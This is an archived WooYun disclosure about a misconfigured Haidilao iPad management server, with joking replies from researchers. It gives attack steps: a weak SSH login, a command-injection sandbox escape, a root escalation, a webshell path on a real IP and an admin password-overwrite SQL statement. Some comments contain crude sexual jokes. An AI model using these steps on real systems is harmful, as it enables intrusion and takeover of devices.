海底捞某系统服务默认配置不当可控制海底捞16097台ipad（安装及删除应用/锁定设备/清除密码/发送通知/响铃等）

2017年5月3日12:05:48评论929 views字数 249阅读0分49秒阅读模式

摘要

2016-03-10：细节已通知厂商并且等待厂商处理中
2016-03-10：厂商已经确认，细节仅向厂商公开
2016-03-20：细节向核心白帽子及相关领域专家公开
2016-03-30：细节向普通白帽子公开
2016-04-09：细节向实习白帽子公开
2016-04-24：细节向公众公开

漏洞概要关注数(67) 关注此漏洞

缺陷编号： WooYun-2016-183017

漏洞标题：海底捞某系统服务默认配置不当可控制海底捞16097台ipad（安装及删除应用/锁定设备/清除密码/发送通知/响铃等）

漏洞作者：路人甲

提交时间： 2016-03-10 16:35

公开时间： 2016-04-24 17:06

漏洞类型：应用配置错误

危害等级：高

自评Rank： 20

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：无

13人收藏

漏洞详情

披露状态：

简要描述：

海底捞某系统服务默认配置不当可控制海底捞16097台ipad（安装及删除应用/锁定设备/清除密码/发送通知/响铃等）

详细说明：

https://mdm.haidilao.com/mdm/admin/authenticate.do

用插件扫发现ssh弱口令

ssh admin

code 区域

hostname `id`/g',cmd=id;`/bin/bash>&2`'

跳出沙盒

跳出沙盒后sudo su 直接获取root权限

写shell

https://103.240.244.6/mdm/f.jsp?z0=utf-8 tom

连接数据库：

管理员表：t_sys_user

密码没解出来我们直接修改密码登陆后再还原回去

code 区域

UPDATE t_sys_user SET password='337772b3b5cdac00b9025c129e63ce38' where loginid='admin'

漏洞证明：

根据报表统计已激活的一共16097台设备几乎都是ipad

修复方案：

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2016-03-10 17:06

厂商回复：

谢谢，我们已进行修复！

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2016-03-10 16:38 | 梧桐树下 ( 普通白帽子 | Rank:2557 漏洞数:403 | 一大波、洞、正在过来……)

2

帮我加两盘羊肉，谢谢！

1# 回复此人
2016-03-10 16:40 | 浮萍 ( 普通白帽子 | Rank:1077 漏洞数:217 )

1

帮我订个位置吧

2# 回复此人
2016-03-10 16:40 | 土夫子 ( 普通白帽子 | Rank:507 漏洞数:88 | 看似山穷水尽，终将柳暗花明)

1

一盘鲜毛肚，两条热毛巾。水多加柠檬

3# 回复此人
2016-03-10 16:43 | 幻老头儿 ( 普通白帽子 | Rank:285 漏洞数:63 | 新手上路。)

1

装几个游戏，下次我过去可以直接玩……

4# 回复此人
2016-03-10 16:45 | 浩天 ( 普通白帽子 | Rank:925 漏洞数:80 | 哈！躁起来！)

1

哥，我帮你把酸梅汤加满吧！

5# 回复此人
2016-03-10 16:48 | 土夫子 ( 普通白帽子 | Rank:507 漏洞数:88 | 看似山穷水尽，终将柳暗花明)

1

给我准备两个胸围38D的妹纸

6# 回复此人
2016-03-10 16:50 | 牛小帅 ( 普通白帽子 | Rank:1597 漏洞数:386 | bye)

1

@土夫子出门右拐 WooYun: 速途网某站一个突破口导致（涉及几百名妹子/电话/qq/微信/女神照片）欢迎您

7# 回复此人
2016-03-10 16:54 | North ( 路人 | Rank:19 漏洞数:6 )

1

加盘下滑，锅里加点汤

8# 回复此人
2016-03-10 17:04 | 李旭敏 ( 普通白帽子 | Rank:848 漏洞数:116 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

1

服务员，加水！

9# 回复此人
2016-03-10 17:04 | 专业种田 ( 核心白帽子 | Rank:1686 漏洞数:214 | 没有最专业的农民,只有更努力地耕耘..........)

1

我说怎么正吃着点不了菜了

10# 回复此人
2016-03-10 17:07 | Format_smile ( 普通白帽子 | Rank:640 漏洞数:217 | ···孰能无过，谁是谁非！)

1

我只想吃顿海底捞而已

11# 回复此人
2016-03-10 17:22 | North ( 路人 | Rank:19 漏洞数:6 )

1

我擦。打雷了。

12# 回复此人
2016-03-10 17:26 | 暴走 ( 普通白帽子 | Rank:615 漏洞数:107 | 专心补刀。)

1

上菜啊，饿死了！

13# 回复此人
2016-03-10 17:47 | 小胖子 ( 核心白帽子 | Rank:1888 漏洞数:156 | 不要患得患失，我羡慕你，但是我还是选择做...)

2

安装删除应用这个就厉害了，基数大影响就大，以前某APP推广，一个安装差不多5块，1.6*5，洞主你这是要发啊~

14# 回复此人
2016-03-10 18:20 | ’‘Nome ( 普通白帽子 | Rank:144 漏洞数:31 | 有事请发邮件，，垃圾邮...)

1

服务员，你过来下，怎么ipad老是响铃呢，咋办

15# 回复此人
2016-03-10 18:22 | 幻老头儿 ( 普通白帽子 | Rank:285 漏洞数:63 | 新手上路。)

2

@’‘Nome 奥，先生，没事的，你的只是会响铃，刚才隔壁桌的，都放＊片了。。。

16# 回复此人
2016-03-10 18:22 | 梧桐树下 ( 普通白帽子 | Rank:2557 漏洞数:403 | 一大波、洞、正在过来……)

1

修复这么快，我赌10块钱是后台弱口令。

17# 回复此人
2016-03-10 19:11 | 疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

1

@幻老头儿。。。不行，笑尿了

18# 回复此人
2016-03-10 21:27 | 幻老头儿 ( 普通白帽子 | Rank:285 漏洞数:63 | 新手上路。)

1

@疯狗狗哥，请保持你的高冷啊。。。笑点辣么低

19# 回复此人
2016-03-10 21:40 | ’‘Nome ( 普通白帽子 | Rank:144 漏洞数:31 | 有事请发邮件，，垃圾邮...)

1

@疯狗 @幻老头儿俩个猥琐男。。。。。。

20# 回复此人
2016-03-10 22:08 | 幻老头儿 ( 普通白帽子 | Rank:285 漏洞数:63 | 新手上路。)

1

@’‘Nome 先生，你的菜已经下单了，还有，你不许跟隔壁桌的换ipad。。。

21# 回复此人
2016-03-10 22:18 | ’‘Nome ( 普通白帽子 | Rank:144 漏洞数:31 | 有事请发邮件，，垃圾邮...)

1

@幻老头儿卧槽，我tm才不换了我这也播放 * 片了

22# 回复此人
2016-03-10 22:33 | 幻老头儿 ( 普通白帽子 | Rank:285 漏洞数:63 | 新手上路。)

1

@’‘Nome 先生，可以的，但是请你只要看就行，别做其他事情啊

23# 回复此人

漏洞概要 关注数(67) 关注此漏洞

缺陷编号： WooYun-2016-183017

漏洞标题： 海底捞某系统服务默认配置不当可控制海底捞16097台ipad（安装及删除应用/锁定设备/清除密码/发送通知/响铃等）

相关厂商： haidilao.com

漏洞作者： 路人甲